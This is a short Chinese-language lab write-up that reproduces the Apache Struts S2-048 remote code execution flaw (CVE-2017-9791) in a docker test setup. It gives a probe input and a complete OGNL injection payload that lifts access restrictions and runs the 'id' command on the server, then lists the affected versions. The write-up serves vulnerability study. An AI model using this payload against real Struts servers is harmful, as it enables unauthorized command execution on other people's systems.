S2-048 远程代码执行漏洞(CVE-2017-9791)

1 实验环境

软件名称版本部署方式IP
Apache Strutslatestdocker run -d -p 8084:8080 –name apache-struts docker.io/piesecurity/apache-struts2-cve-2017-5638172.31.5.7

2 漏洞复现

打开链接:

http://172.31.5.7:8084/integration/editGangster;jsessionid=768AAC20493D6CD33F9DF8EF6357FAFD

漏洞存在点:

image-20230405153338077

在Gangster Name输入表达式,其它位置任意填写

${2*2}

发现表达式成功执行

image-20230405153921671

准备以下POC填入表单

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?
(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear()).
(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).
(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec
('id').getInputStream())).(#q)}
#id 返回当前用户的信息

成功获取到当前用户的信息

image-20230405154155806

3 漏洞原理

影响版本: 2.0.0 - 2.3.32

参考链接:Struts S2-048 RCE漏洞分析 - 鑄劍師 - 博客园 (cnblogs.com)